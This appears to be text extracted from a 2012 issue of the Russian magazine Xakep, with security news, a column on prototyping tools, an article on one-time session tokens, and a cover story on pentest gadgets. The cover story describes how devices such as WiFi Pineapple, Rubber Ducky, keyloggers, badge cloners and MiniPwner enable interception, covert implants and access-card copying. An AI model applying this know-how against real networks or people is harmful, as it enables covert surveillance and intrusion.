Microsoft,Facebook, Cisco, а также крупнейшие мировые контентпровайдерыAkamai и Limelight. Одновременнос интернет-гигантами значительную часть своих клиентовна новую версию интернет-протокола согласились переключитьи крупные интернет-провайдеры по всему миру.Среди тех, кто заявил о планах перехода на IPv6 летомэтого года, уже значатся компании Comcast и AT&T в США,France Telecom во Франции, XS4ALL в Нидерландах и другие.Кроме того, компания Cisco и ее дочернее подразделениеLinksys, а также D-Link заявили, что на всех новыхвыпускаемых продуктах изначально будет включенаподдержка протокола IPv6.Но на пути IPv6 есть и препоны. Например, Джон Каррин,президент и исполнительный директор североамериканскогоинтернет-регистратора ARIN, доходчиво объясняет:«Пользователей смущает тот факт, что нельзя параллельнозапускать IPv4 и IPv6, а этим системам какое-то времяпридется существовать вместе, тут ничего не поделаешь.Сколько это сосуществование продлится — неизвестно,очевидно, что оно затянется на годы, возможно на десятьлет». С другой стороны, все современные ОС уже поддерживаютновый протокол, поддержка также реализованаи в аппаратном обеспечении, и есть надежда, что удастсяуправиться быстрее, чем за десять лет :).ХАКЕР 08 /163/ 2012013


MEGANEWS1 246 713 URL НА 24 129 ДОМЕНАХ — столько запросов на удаление из поисковых результатов поступило в Google за последний месяц.МАССОВАЯ УТЕЧКА ПАРОЛЕЙПОЛЬЗОВАТЕЛЕЙ LINKEDINВ РУКИ ХАКЕРОВ ПОПАЛА БАЗА ПАРОЛЬНЫХ ХЕШЕЙПЕНТЕСТ ПОДРУЧНЫМИСРЕДСТВАМИ«ОЧУМЕЛЫЕ РУЧКИ» ПО-ХАКЕРСКИаза с 6 458 020 парольными хешами социальной сети для деловогообщения LinkedIn и 1,5 миллиона MD5-хешей сайтаБeHarmony были опубликованы на российском форуме forum.insidepro.com. Логины пользователей LinkedIn в файле указаны небыли, но не исключено, что они могут быть на руках у хакеров (в качествелогинов на сайте используются адреса электронной почты).Директор LinkedIn Висенте Сильвейра признал, что опубликованныепарольные хеши SHA-1 (без соли) действительно соответствуют паролямпользователей LinkedIn. Он пообещал, что для всех скомпрометированныхаккаунтов пароли сменят автоматически, а каждыйпострадавший пользователь получит уведомление по электроннойпочте с инструкциями по установке нового пароля. Если этотже пароль использовался на других ресурсах, его, разумеется,рекомендуется сменить и там. Микроблог LinkedIn сообщает, чтопроводится расследование, однако доказательств утечки обнаружитьпока не удалось. Напомним, что немногим ранее специалистыпо информационной безопасности зафиксировали фишинг-атакуна пользователей LinkedIn. Что касается 1,5 миллиона MD5-хешейсайта eHarmony, то все пароли там хранились прописными буквами,так что к настоящему моменту 95% из них уже расшифровано.236 578 паролейподобралхакер Polimoна моментпубликацииархива хешей,и он продолжаетработу.ростенький одноплатный компьютер Raspberry Pi былсоздан компанией Raspberry Pi Foundation в 2011 году, разработкапредназначалась для обучения базовым компью-Птерным наукам в школах. Компьютер выполнен на четырехслойнойпечатной плате размером примерно с банковскую карту, поставляетсябез корпуса и стоит примерно 25–35 долларов. Казалось бы, чтоинтересного можно сделать с такой незамысловатой штукой? Хакерыв очередной раз доказывают, что нужно мыслить шире, — миниатюрныйкомпьютер сумели приспособить для пентестов. В общем-то,это неудивительно, ведь Raspberry Pi идеально подходит для такихцелей. Крошечный форм-фактор, хороший процессор, относительномалое энергопотребление, возможность подключения Wi-Fi-модуляпо USB, ядро Linux — что еще нужно для скрытой установки в офисе?Умельцы выпустили специализированный дистрибутив PwnPi(pwnpi.sourceforge.net) для инсталляции на Raspberry Pi, он содержитвсе необходимые инструменты. Остается только придумать, какзапитать устройство от розетки или подключить к нему батарейки,чтобы модуль мог работать в автономном режиме долгое время, —и платформа для тестов на проникновение готова.Кстати, другой умелец нашел способ использования в качествемонитора Raspberry Pi дешевой фоторамки Parrot DF3120 стоимостью25 долларов. Фоторамка с диагональю 3,5 дюйма работает какдисплей по Bluetooth. Для пентестов это, конечно, не требуется, ноидея сама по себе весьма интересна.ЛИНУС ТОРВАЛЬДС СТАЛ ЛАУ-РЕАТОМ ПРЕМИИ ТЫСЯЧЕЛЕ-ТИЯ (Millennium Technology Prize2012) за создание ядра Linux. Нов этот раз Премия тысячелетиявпервые была присужденадвум людям одновременно.Торвальдс разделил наградус японским ученым СинъяЯманакой, открывшим новыйметод получения индуцированныхстволовых клеток. ТеперьТорвальдс и Яманака получат по600 тысяч евро каждый.ИЗ ЛИЦЕНЗИОННЫХ ПРО-ГРАММ россияне чаще всегопокупают антивирусы (29%опрошенных) и игры (10%),показал опрос порталаSuperjob.ru.ПОСЫЛКИ С IPHONE И IPADиз американских онлайнмагазиноввскрываютсяв процессе доставки в шестьраз чаще, чем посылки,содержащие другие товары,сообщает Bay.ru.014ХАКЕР 08 /163/ 2012


КОМПАНИЯ NOKIA ГОТОВИТ СОБСТВЕННЫЙ ОБЛАЧНЫЙ СЕРВИС, который получит название Nokia AIR.СОБСТВЕННЫЙ ПЛАНШЕТ ОТ MICROSOFTЗНАКОМЬСЯ — SURFACEМногие вспомнят,что до недавнеговремени Microsoftиспользовала имяSurface для знаменитогосенсорногостола. Сразу послезапуска планшетастол переименовали.фициальный анонс гаджета, о котором ходило столькослухов, наконец состоялся. Microsoft представила свойОWindows-планшет Surface, и новинка мгновенно оказаласьв центре внимания СМИ и пользователей со всего мира.Surface будет функционировать под управлением WindowsRT и Windows 8 Pro (в различных вариантах). Планшет выполненв 10-дюймовом форм-факторе, и одной из главных изюминокновинки является чехол-клавиатура Touch Cover, выполненный изкожи толщиной всего 3 мм. На внутренней стороне обложек естьклавиши, а к корпусу обложки крепятся при помощи шести магнитов(аналогично SmartCover на iPad). Интересно, что и зарядноеустройство также на магните, как в продуктах Apple. Есть такжепятимиллиметровый вариант Type Cover, где клавиатура получилаеще и стрелки, а клавиши двигаются при нажатии, как у традиционнойклавиатуры. Кстати, Type Cover поддерживают не тольконажатия, но и жесты. Для каждой обложки доступны различныецветовые варианты.Как уже было сказано выше, планшеты будут работать наWindows RT и Windows 8 Pro, но это не единственное их различие.Так, младшая модель строится на платформе NVIDIA Tegra,комплектуется разъемами microSD, USB 2.0, Micro HD Video, веситвсего 676 г и по толщине не превышает 9,3 мм. В то время как старшаябудет функционировать на Intel Core i5 (Ivy Bridge), получит портыmicroSDXC, USB 3.0, Mini DisplayPort и будет весить уже 903 г при толщине13,5 мм. Время автономной работы младшей модели составляет10 ч, старшей — около 6 ч. Корпуса обоих устройств выполненыиз магниевого сплава VaporMg, который обеспечивает легкостькорпуса и его прочность. На корпусе устройства есть откидывающаясякрышка, на которую можно поставить планшет. Экран прикрытпривычным для такого рода девайсов Gorilla Corning Glass.Ты уже заметил, что ни слова не было сказано о поддержке сетейсотовой связи 3G/4G? Увы, это не наше упущение. Дело в том, чтопока планшеты могут предложить пользователям лишь Wi-Fiсоединение— поддержки сотовых сетей нет.О ценах на устройства пока нет официальной информации, нослухи гласят, что стоимость Windows RT (и NVIDIA Tegra 3) планшетовбудет начинаться с отметки 499–599 долларов, а вот модификацияс процессором Intel Ivy Bridge и Windows 8 Pro обойдется покупателямгде-то в 999 долларов. Хотя Microsoft и обещала, что цена планшетовбудет конкурентоспособной по сравнению с ARM-планшетами(для версии Surface с Windows RT) и ультрабуками (для версииSurface с Windows 8 Pro), эти цифры свидетельствуют об обратном.С другой стороны, многие аналитики также заговорили о том, чтоSurface — это инструмент популяризации скорее Windows RT, нежеликаких-то аппаратных разработок Microsoft. Стоит заметить, чтопочти все OEM-производители действительно уже подсуетились —в 2013 году появятся десятки Windows RT устройств, на любой вкуси достаток. Выход планшетов Surface, в свою очередь, запланированна октябрь текущего года. Дождемся релиза и дальнейшегоразвития событий.НАЛОГ НА НОСИТЕЛИ ИНФОРМАЦИИ ЕСТЬ НЕ ТОЛЬКО В РОССИИВ ГЕРМАНИИ ВЫРОСНАЛОГ НА ФЛЕШ-КАРТЫИ USB-ФЛЕШКИ, ТЕПЕРЬОН СОСТАВЛЯЕТ ОТ91 ЦЕНТА ДО 1,95 ЕВРО.КУДА ТАМ МИХАЛКОВУХАКЕР 08 /163/ 2012 015


HEADERКОЛОНКАСТЁПЫ ИЛЬИНАMockingbird сразу готов к работеКАК ПРОТОТИП ПРИЛОЖЕНИЯПОМОГАЕТ ДОКАЗАТЬСОСТОЯТЕЛЬНОСТЬ ИДЕИсть очень мощный фактор, которыйпрепятствует развитию многих процессов,— привычка. Самая что ни наEесть тупая привычка делать что-то именно таки никак иначе. Что забавно, люди часто противятсяизменениям, аргументируя это весьманелепым образом: «Да мы всегда так делали».Не раз пытаясь разрушить стену недоверия,объясняя, как можно оптимизировать какой-топроцесс, сделал для себя важное открытие:нет лучшего способа доказать состоятельностьидеи, чем продемонстрировать ее в действии.Идеальный вариант здесь — показать готовоерешение. Но мы живем не в идеальном мире, атратить время на проект, будучи не до конца внем уверенным, — непозволительная роскошь.Даже прототип создать часто бывает довольносложно, да и не нужно. Самое главное — этопрототип интерфейса. Нет более действенногоспособа объяснить, как можно улучшить программуили сайт, чем показать, как они могутвыглядеть. А главное — сделать грубые наброскиприложения или сайта можно буквально занесколько минут. Открыл редактор, перетащилdrag’n’drop’ом нужные элементы интерфейса,расставил их, как надо, — одно окно готово.Делаешь еще несколько страниц или окон — ипервый прототип интерфейса к твои услугам.Единственный вопрос: в каком редакторе этоделать?Одно из классных решений, позволяющихбыстро сделать скетч любого приложения, —Balsamiq Mockups (www.balsamiq.com). Приложениереализовано на Adobe AIR и потому безпроблем запускается под любой ОС. Я пользовалсяим довольно долго. Однако со временемего разработчики все больше стали заниматьсязарабатыванием денег (что, в общем, правильно),и потому семидневный триал – единственное,что сейчас можно получить бесплатно.Теперь я всем всегда советую другой инструмент— сервис mockingbird (gomockingbird.com). Это полностью онлайновый сервис,позволяющий очень быстро прорабатыватьпрототипы интерфейса веб-приложений идесктопных программ. Любая идея превращаетсяв готовый интерфейс за считаные минуты:сначала на рабочей области расставляютсяэлементы UI, стилизованные под карандашныйнабросок, все выравнивается по сетке, послечего настраиваются линки между различнымиокнами (для примера: кнопка «Настройки»будет открывать интерфейс окна настроек).Удобно, что над проектом можно работать совместно,причем даже в бесплатной версии.Правда, если ты захочешь создать интерфейсбольше чем из десяти страниц, то уже придетсяплатить денежку.С mockignbird все было хорошо до тех пор,пока для одного проекта не понадобилосьсоздать не набросок интерфейса, а правдивоеизображение, как приложение будет выглядетьпод виндой. Здесь я открыл для себяInPreso Screens (www.inpreso.com). Этот сервиспредлагает все ту же концепцию создания интерфейсов(да и что тут нового придумаешь?!),но имеет в арсенале одну прикольную фичу –поддержку скинов. То есть на готовый прототипинтерфейса легко натягивается скин, скажем,Windows 7 и Mac OS X. Таким образом, еще недавногрязный набросок интерфейса начинаетвыглядеть как полноценное приложение поднужной тебе ОС.Третий сервис для прототипированияинтерфейсов пришлось найти, когда потребовалосьсделать набросок мобильного приложения,которое должно стать важной частьюодного интересного проекта. Нужно было максимальнобыстро сделать интерфейс программы,причем сразу для двух мобильных ОС: iOSи Android. Здесь меня выручил замечательнейшийсервис proto.io, который позволяет сделатьэто даже на бесплатном тарифном плане.Но мало сделать красивую картинку — ее ещенадо продемонстрировать, и обязательно наустройстве. Какова же была моя радость, когдав родном браузере iPhone я увидел нормальноотображающийся интерфейс, который толькочто разработал на десктопе. Задание быловыполнено.Не пойми меня неправильно. Работа над интерфейсом,который отвечал бы всем правиламusability, — это сложный, кропотливый труд.Но когда нужно объяснить, в чем суть затеи,созданный на коленке каркас приложения —то, что доктор прописал. z016ХАКЕР 08 /163/ 2012


Анатолий Ализар (alizar@gmail.com)Proof-of-ConceptЗАЩИЩАЕМ СЕССИЮ С ПОМОЩЬЮОДНОРАЗОВЫХ ТОКЕНОВВ ЧЕМ ПРОБЛЕМАКуки используются в HTTP для аутентификации сессий, чтобыраспознать конкретного юзера в общей массе. Однако кукине гарантируют совершенно никакой безопасности, потому чтосоздавались не для этого и передаются по Сети в открытом виде.Кто угодно может взять чужие куки и залогиниться под чужим аккаунтом,даже не зная пароля. Существует масса простых утилитдля перехвата чужих куки в открытых сетях, например в бесплатномWi-Fi-хот-споте (взять хотя бы Firesheep и DroidSheep).Веб-разработчики знают о проблеме, но ничего не могут поделать.Они привыкли полагаться на общую защиту всего трафикачерез HTTPS, но это не спасает жертву. Есть куча мест, где кукивсе равно лежат в открытом виде: на сайтах почти всегда найдутсядыры из-за ошибок в конфигурации, куки можно извлечь из браузерас помощью XSS, XST и других трюков, да и сам HTTPS не такойуж непробиваемый.В общем, по своей природе куки исключительно слабо защищены,тут уж ничего не поделаешь. У одного панамского хакерапо имени Итало Дакоста возникла идея: а что, если использоватьвместо куки одноразовые токены? Так и родился проект One TimeCookies, OTC (www.cc.gatech.edu/~idacosta/otc/index.html). В отличиеот куки, OTC изначально придумывались с прицелом набезопасность.КАК ЭТО РАБОТАЕТИдея в том, что клиент сам генерирует уникальный токен с каждымHTTPS-запросом, генерируя хеши HMAC (Hash-based MessageAuthentication Code) на основании ключа сессии, полученногоот сервера, см. схему протокола OTC. Таким образом, перехваттокена (от клиента к серверу) в открытой сети ничего не даетзлоумышленнику, потому что токен одноразовый и действует ровноодин запрос.Чтобы подменить сессию, злоумышленник должен сгенерироватьсвой собственный хеш HMAC и создать свой собственныйтокен для конкретного запроса. Но он не может этого сделать, потомучто не получил от сервера ключ сессии и другую информацию,необходимую для генерации HMAC.Теоретически злоумышленник может сгенерировать токентолько в том случае, если получит доступ к компьютеру жертвыи извлечет информацию, полученную с сервера сразу после авторизации(ввода имени пользователя и пароля на сервере). Однакокомпоненты OTC хранятся на клиентской машине в защищенномместе, отдельно от других компонентов браузера, так что большинствообычных методов атаки на браузер тут не сработает. По крайнеймере, они защищены гораздо лучше, чем куки.OTC могут использоваться параллельно с куки для аутентификациисессий и представляют собой фактически дополнительныйуровень безопасности вдобавок к HTTPS.uid, pwd: идентификатор и пароль пользователяks, ns: ключ сессии, случайное число сессииkw: долгоживущий ключ веб-приложенияts, th: время действия сессии и токенаurl: адрес запрашиваемого ресурсаdata: данные формы POSTv: версия протокола OTCСхема протокола OTCcid: идентификатор мандата (credentials) OTCdomain, path: границы мандата OTCE(k, x): симметричное шифрование x ключом kHMAC(x): криптографический хэш-кодидентификации для xX-OTC: заголовки HTTP для обменаинформацией протокола OTCКАК ИСПОЛЬЗОВАТЬЧтобы включить протокол OTC, его нужно установить и на сервере,и у клиента. Для серверной части есть плагин к WordPress (www.cc.gatech.edu/~idacosta/otc/otc_wp_plugin.zip), а для клиента —расширение к браузеру Firefox (www.cc.gatech.edu/~idacosta/otc/otc.xpi).Ставим и то, и другое — и все сразу начинает работать,в чем можно убедиться, если посмотреть на пакеты в сниффереWireshark или расширении Live HTTP Headers для Firefox. zХАКЕР 08 /163/ 2012 017


COVERSTORYАнтон ЖуковЧЕМОДАНЧИКХАКЕРА14 ГАДЖЕТОВДЛЯ ВЗЛОМЩИКАЗАЧЕМ ЭТО НУЖНО?Все, кто серьезно занимается пентестом или хакингом, навернякахоть раз оказывались в условиях, когда для успешного проведенияатаки не хватало буквально одного шага. В книге Кевина Митника«Искусство вторжения» (The Art of Intrusion) подробно описанаистория одного пентеста, в котором препятствие для проверяющихпредставлял грамотно настроенный системным администраторомфайрвол. Казалось бы, во внутреннюю сеть компании проникнутьнет шанса. Но один из членов команды обнаружил в приемнойрабочий разъем для подсоединения к сети и незаметно подключилк нему миниатюрное устройство для беспроводного доступа (на котороеникто так и не обратил внимания до окончания тестирования).Таким образом команда пентестеров получила прямой доступ к внутреннейсети компании через Wi-Fi. Это один из многих примеров,иллюстрирующих, что недооценивать хак-девайсы не стоит. Именнопоэтому мы сегодня рассмотрим наиболее интересные варианты,которые можно приобрести в Сети.Необычные виды устройств и гаджетовесть не только у сотрудниковспецслужб и агентов 007. Немало девайсовбыли специально разработаныдля нужд хакеров и исследователейбезопасности. Что они собой представляют?Мы решили собрать настоящийхакерский чемоданчик.018ХАКЕР 08 /163/ 2012


Чемоданчик хакераWiFi Pineapple Mark IVwifipineapple.comивотная жажда бесплатного интернета приводит к тому, чтолюди, приехав в какое-то заведение или, скажем, аэропорт,Жтут же начинают проверять: а нет ли там бесплатного инета?При этом мало кому известно, что под видом открытого хот-спота можетдействовать специально настроенный роутер, который перехватываетвесь открытый трафик (это несложно, все же «идет» черезнего) и использует различные виды MITM-атак, чтобы перехватитьте данные, которые передаются по защищенному соединению. Длябольшего успеха злоумышленник может использовать звучное имясети вроде «Wi-Fi Guest» или вообще маскироваться под популярныхпровайдеров — тогда от клиентов отбоя не будет. Поддельныйхот-спот (Rogue AP) довольно легко поднимается на любом ноутбуке.Однако в хакерских кругах давно известен продуманный до мелочейдевайс, реализующий атаку в прямом смысле слова «из коробки».WiFi Pineapple, появившийся еще в 2008 году, сейчас продается всвоей четвертой модификации. Первая ревизия девайсов была дляшутки замаскирована под ананас — отсюда и название девайса.По сути, это обычный беспроводной роутер (на базе беспроводногочипа Atheros AR9331 SoC и процессора 400 МГц), но со специальной,основанной на OpenWRT прошивкой, в которой по умолчанию включенытакие утилиты, как Karma, DNS Spoof, SSL Strip, URL Snarf,ngrep и другие. Таким образом, достаточно включить устройство,настроить интернет (все конфигурируется через веб-интерфейс) — иперехватывать данные пользователей. Необходимость в питаниироутера мешает его мобильности, однако существует огромноеколичество вариантов использовать аккумуляторы (так называемыеBattery Pack), которые дарят девайсу два-три часа автономной работы,что активно обсуждается на официальном форуме.119,992В1Ubertooth Oneubertooth.sourceforge.net99,99отличие от перехвата данных в сетях Wi-Fi, который легкоустроить с ноутбука с подходящим беспроводным адаптером,анализ эфира Bluetooth — задача куда более сложная.Вернее, была сложной до выступления Майкла Оссмана на конференцииShmooCon 2011 (видео доклада — youtu.be/KSd_1FE6z4Y),где он представил свой проект Ubertooth (ubertooth.sourceforge.net).Оцени разницу. Промышленное железо для BT-эфира можно былоприобрести за суммы, начинающиеся от 10 000 долларов. Майклрассказал, как собрать подходящий девайс, стоимость которогоне превышает ста баксов. По сути, это USB-донгл с возможностьюподключения внешней антенны, построенный на процессоре ARMCortex-M3. Адаптер изначально разработан так, чтобы его можнобыло перевести в режим promiscuous, в котором возможно пассивноперехватывать данные из Bluetooth-эфира, передаваемые междусобой другими девайсами. Это важная опция, потому что большинстводонглов обращает внимание лишь на то, что адресовано именноим, игнорируя все остальное, — причем повлиять на такое поведениенельзя. В случае с Ubertooth One можно беспрепятственно перехватыватьфреймы из Bluetooth-эфира, причем использовать дляэтого привычные утилиты вроде Kismet (kismetwireless.net). Можнодевайс собрать самому, если руки растут из нужного места, или жекупить готовое к использованию устройство в одном из авторизированныхмагазинов.ХАКЕР 08 /163/ 2012 019


COVERSTORYALFA USB WiFi AWUS036NHAbit.ly/OokY6lЕсли говорить об аудите беспроводных сетей, то дляреализации атак самым частым и, по сути, единственнымпрепятствием становится неподходящий Wi-Fi-модуль,встроенный в ноутбук. Увы, производители не задумываются о выбореправильного чипа, который, к примеру, поддерживает инъекциюв эфир произвольных фреймов :). Впрочем, нередко нет и болеезаурядной возможности — просто извлекать данные из эфира. Еслипокопаться на форумах, то найдешь множество рекомендаций о том,какой адаптер лучше всего подходит для вардрайвинга. Один извариантов — ALFA USB WiFi AWUS036NHA. Это Wi-Fi USB-адаптерповышенной мощности Alfa AWUS036NHA, построенный на чипсетеAtheros AR9271 и работающий в стандартах b/g/n (до 150 Мбит/с).Его без лишних танцев с бубном можно использовать в основныхоперационных системах, в том числе и скрипткидис-дистрибутивеBackTrack 5, в котором уже собраны все необходимые инструментыдля вардрайвинга. К слову, внешний USB-адаптер позволяетработать в привычной винде, при этом использовать все возможностив гостевой системе (том же самом Backtrack), запущенной подвиртуальной машиной с проброшенным из основной ОС USB-портом.Адаптер совместим и с Pineapple Mark IV. Начиная с прошивкиверсии 2.2.0 Pineapple может использовать его для проведения такназываемых deauth-атак. Суть атаки довольно проста: клиентам посылаютсядеаутентификационные фреймы, что заставляет их зановоподключаться. Злоумышленник перехватывает WPA handshake’и,которые затем используются для брутфорса WPA-ключа.35,993499,99Reaver Probit.ly/IRrZfFак известно, длинная парольная фраза для подключения кбеспроводной WPA-сети практически сводит на нет вероятностьее брутфорса. Однако сложность реализации этойКатаки испаряется, если беспроводная сеть поддерживает механизмWPS. Об уязвимости в этой технологии мы подробно рассказывалив ][_03_2012, в том числе об ее эксплуатации с помощью утилитыReaver (code.google.com/p/reaver-wps). Автор этого инструмента выпустилспециальный кит, который позволяет реализовать эту атаку.Состоит он из беспроводного модуля и загрузочной флешки с преднастроеннымдистрибутивом. Цель атаки — подобрать WPS pin, кактолько он будет получен, беспроводная точка с радостью предоставитнам свой WPA-ключ. Таким образом, как видишь, длина и сложностьключа не влияют на длительность атаки. В среднем Reaver’утребуется от 4 до 10 часов для подбора WPS pin’а. Честно говоря, когдая впервые прочитал, что существует аппаратная реализация этойатаки, то представил себе небольшой портативный девайс, которыйможно незаметно спрятать в зоне уверенного приема нужной точкидоступа. Ведь в отличие от брутфорса WPA-ключа, который можноосуществлять где угодно (достаточно лишь перехватить handshake),атака на WPS является активной. То есть необходимо находитьсяв непосредственной близости от точки доступа: если прием будетнедостаточно надежным, то перебор быстро остановится. Хорошейальтернативой Reaver Pro может стать реализованный программныймодуль для WiFi Pineapple Mark IV (и серьезный набор аккумуляторныхбатарей для его питания). Пока все, что предлагает создательReaver Pro, — это возможность приостановить атаку, чтобы в следующийраз продолжить с прерванного места.020ХАКЕР 08 /163/ 2012


Чемоданчик хакера16dBi Yagi Antennabit.ly/MXT1Tvсе беспроводные устройства обладают серьезным недостатком — ограниченнымрадиусом действия. Надежный прием часто является ключевымпараметром для успешной реализации атаки. Чем ближе ты будешьВсидеть к цели вместе со своими «странными» коробочками-устройствами — тембольше внимания ты будешь привлекать и больше подозрений вызывать. Чемдальше от цели — тем это безопасней и незаметней. Существуют всенаправленные(так называемые omni), а также узконаправленные антенны. Для примера мывзяли представителя второго типа — 16dBi Yagi Antenna. Эта узконаправленнаяантенна позволяет находиться на достаточном расстоянии от беспроводной сети исохранять необходимый уровень сигнала. Благодаря коннектору нектору RP-SMA ее можноподключить к адаптеру ALFA AWUS036H, «коробочке» WiFi Pineapple, донглуUbertooth One, а также ко многим другим Wi-Fi-устройствам. Важно понимать,что это лишь одна из тысяч самых разных антенн. В Сети не только продаетсяогромное количество самых разных антенн с разнообразными ными характеристиками,но и лежит немало инструкций о том, как быстро сварганить антенну из подручныхматериалов (например, из банки или проволоки).30569,99USB Rubber Duckyusbrubberducky.comВодном из недавних номеров у нас была статья о зловредных USBустройствах,построенных на программируемой плате Teensy. Идеяв том, чтобы эмулировать HID-устройство (клавиатуру) и, пользуясьтем, что система воспринимает их как доверенные, эмулировать ввод,который создает в системе нужные нагрузки (например, открытие шелла).USB Rubber Ducky является аналогом Teensy. Сердце устройства — 60-мегагерцевый 32-битный AVR-микроконтроллер AT32UC3B1256, однакохардкодить что-то на низком уровне не требуется. Устройство поддерживаетудивительно простой скриптовый язык Duckyscript (похожий на обычныеbat-сценарии), на котором к тому же уже реализованы всевозможныепейлоады. Запустить приложение, создать Wi-Fi-бэкдор, открыть reverseшелл— можно сделать все то же самое, как если бы ты имел физическийдоступ к компьютеру. Еще большую гибкость предоставляет дополнительноехранилище в виде microSD-карточки, на которой можно одновременноразместить несколько пэйлоадов. Функциональность можно расширить засчет подключаемых библиотек, тем более что сама прошивка, написаннаяна чистом С, полностью открыта и хостится на гитхабе. Микросхема оченьмаленькая, но для того, чтобы сделать ее использование абсолютно незаметным,разработчики предлагают для нее специальный корпус от флешки.ХАКЕР 08 /163/ 2012 021


COVERSTORYThrowing Star LAN Tapbit.ly/LYOW2fледующий хак-девайс также предусматривает, что у атакующегоесть доступ: правда, не к конкретному компьютеру,Са к кабелям локальной сети. И нужен он для пассивногои максимально незаметного мониторинга сегмента сети. Фишка втом, что его невозможно обнаружить программными средствами, —фактически это просто кусок кабеля, который никак себя не выдает.Как это возможно? Throwing Star LAN Tap выглядит как небольшаямикросхема крестообразной формы, на концах которой расположенычетыре Ethernet-порта. Представим, что нам надо перехватитьтрафик между двумя хостами (А и В), соединенными кабелем. Дляэтого просто перерезаем кабель в любом месте и соединяем получившийсяразрыв через Throwing Star LAN Tap. Соединять разрывнадо через порты J1 и J2, в то время как J3 и J4 используются длямониторинга. Тут надо отметить, что J3 и J4 подключены только кжилам, ответственным за получение данных, — это намеренно сделанодля того, чтобы мониторящая машина не могла случайно послатьпакет в целевую сеть (что выдаст факт мониторинга). ThrowingStar LAN Tap спроектирована для мониторинга сетей 10BaseT и100BaseTX и для своей работы не требует подключения источниковпитания. И так как устройство не использует никакого электропитания,оно не может мониторить сети 1000BaseT. В таком случае емуприходится снижать качество связи, заставляя машины общатьсяна более низкой скорости (обычно скорости 100BaseTX), которую ужеможно пассивно мониторить. Девайс несложно спаять самому, всесхемы открыты (концепция Open Source hardware).8100Р714,99GSM/GPS/Wi-Fi-глушилкиwww.google.comнесколькими спутниками. Девайсы отличаются радиусом действия,мощностью, размерами и вообще внешним видом. Подавителиазговаривая о хакерских устройствах, мы не могли обойтитакой класс девайсов, как jammer’ы или, говоря по-русски,глушилки. Мы намеренно не стали выделять какой-то отдельныйдевайс, а решили посмотреть целый класс таких устройств.Все они, независимо от технологии, которую требуется заглушить,основываются на одном и том же принципе — замусоривании эфира.Это одинаково работает для сотовых сетей (GSM), где телефонобщается с базовой станцией, или, к примеру, GPS-приемника,который для определения координат должен держать связь сразу ссигнала могут быть стационарными (большие бандуры с антеннами)или мобильными, замаскированными, к примеру, под пачку сигарет.В Сети можно найти огромное количество джеммеров, особенноесли посмотреть китайские интернет-магазины. Сейчас бушуютспоры о том, насколько легально использование подобных глушилокв России. В прошлом году их всерьез предлагали использовать вшколах, когда выяснилось (вот это открытие!), что, несмотря на всезапреты, школьники все равно проносили мобильники во времясдачи ЕГЭ.022ХАКЕР 08 /163/ 2012


Чемоданчик хакераRFID 13.56MHz Mifareмодуль чтения-записиbit.ly/MQlw6eоследние несколько лет одним из неотъемлемых атрибутов каждогоофисного работника стала пластиковая карта, позволяющаяПоткрывать дверные замки рабочих кабинетов и помещений. Речьидет о картах Mifare Classic 1K. Карта представляет собой пластиковуюкарту, внутри которой размещена микросхема (чип) с защищенной памятью,приемник, передатчик и антенна. Объем памяти этой карты составляет0,5, 1 или 4 Кб, а вся память разбита на 16 секторов. Каждый сектор состоитиз четырех блоков (три информационных и один для хранения ключей). Минимальныйсрок хранения данных в памяти карты Mifare составляет 10 лет,а число циклов записи — около 100 000. Такие карты относятся к пассивнымустройствам хранения данных, то есть для ее работы и бесконтактнойпередачи данных энергия и батарея не нужна. Расстояние до считывателя,на котором начинается передача данных, определяется мощностью передатчикасчитывателя и чувствительностью приемника карты. Если тебенеобходимо скопировать такую карту или просто посмотреть, что же тамзаписано, в твоем распоряжении существуют различного рода девайсы.Ведь это так удобно: карты, бывает, ломаются или теряются :). Наиболеепопулярный девайс для таких затей — bit.ly/MQlw6e, стоимостью всего65 долларов. К нему прилагаются несколько «болванок» карт, на которыеможно производить клонирование, что позволит тебе сразу окунуться вмир социотехнических методов хакинга. К слову, транспортные компании,осуществляющие пассажирские перевозки, очень часто используют технологиюMifare Ultralight. Помимо этого, существует несметное количестводругих устройств для работы с менее популярными клиентами в беспроводныхсетях связи, например NFC, ZigBee и многие другие. ТехнологияNFC, кстати, является логическим продолжением семейства RFID, работатьс которой можно даже с помощью передовых мобильных устройств.659KeyGrabberwww.keelog.com0149,99огда-то давно в рубрике «Фрикинг» мы писали о том,как самому спаять свой аппаратный кейлоггер. ИдеяКпростая: девайс подключается между компьютером иклавиатурой и на свой накопитель записывает все введенныесимволы. Естественно, существует огромное количествокоммерческих реализаций этой задумки, в том числе серияKeyGrabber, предлагающая модели как для PS/2, так и дляUSB-клавиатур. Производитель подумал о том, как сделатьиспользование подобных девайсов более незаметным. Ведьмало того, что нужно подключить такой кейлоггер, необходимоеще периодически снимать с него данные. Оказалось,что последнее можно упростить, если снабдить снифферWi-Fi-адаптером, который может незаметно подключитьсяк ближайшей точке доступа и отправлять перехваченныеданные на e-mail. Этот же производитель также предлагаетнесколько других полезных решений. Кроме готовых девайсов,выглядящих как переходник, можно купить KeyGrabberModule — готовую микросхему, которую можно внедрить вPS/2- или USB-клавиатуру. Также в продаже есть устройстваVideoGhost — «переходничек», подключаемый между монитороми компьютером, который каждые десять секунд сохраняетскриншоты экрана на встроенный накопитель (2 Гб).Существуют версии для DVI-, HDMI-, VGA-разъемов, цена наних начинается от 149,99 доллара.ХАКЕР 08 /163/ 2012 023


COVERSTORY11MiniPwnerwww.minipwner.comитуации, когда доступ к корпоративной сети приходитсяполучать с помощью навыков социальнойСинженерии и специальных девайсов, встречаютсяна практике довольно часто. MiniPwner является девайсом,который в случае незаметного его подключения к целевойсети предоставляет атакующему/пентестеру удаленныйдоступ к этой сети. Устройство спроектировано инженеромиз Висконсина Кевином Бонгом, который собрал первыйпрототип миниатюрного шпионского компьютера в коробкеиз-под леденцов. Гаджет предназначен для подключения клокальной сети и быстрого сбора информации. Сразу послеподключения компьютер устанавливает SSH-туннель и открываетвход в систему извне. Если посмотреть внутрь, то этообычный роутер TP-Link TL-WR703N, оснащенный памятью в4 Гб и имеющий беспроводной интерфейс, поддерживающийстандарт 802.11n и гигабитный Ethernet-порт. В качестве прошивкииспользуется модифицированная OpenWrt, в которойпредустановленно большое число утилит, необходимых дляведения разведывательной деятельности: Nmap, Tcpdump,Netcat, aircrack и kismet, perl, openvpn, dsniff, nbtscan, snort,samba2-client, elinks, yafc, openssh-sftp-client и другие.Автономную работу, которая крайне важна для реального использования,обеспечивает аккумулятор емкостью 1700 мА·ч,которого хватает на пять часов интенсивной работы, даже99если включен режим беспроводной сети. Так что, подключивтакой девайс к интересующей сети, исследователь может получитьдостаточно времени, чтобы закрепиться в ней.12595Pwn 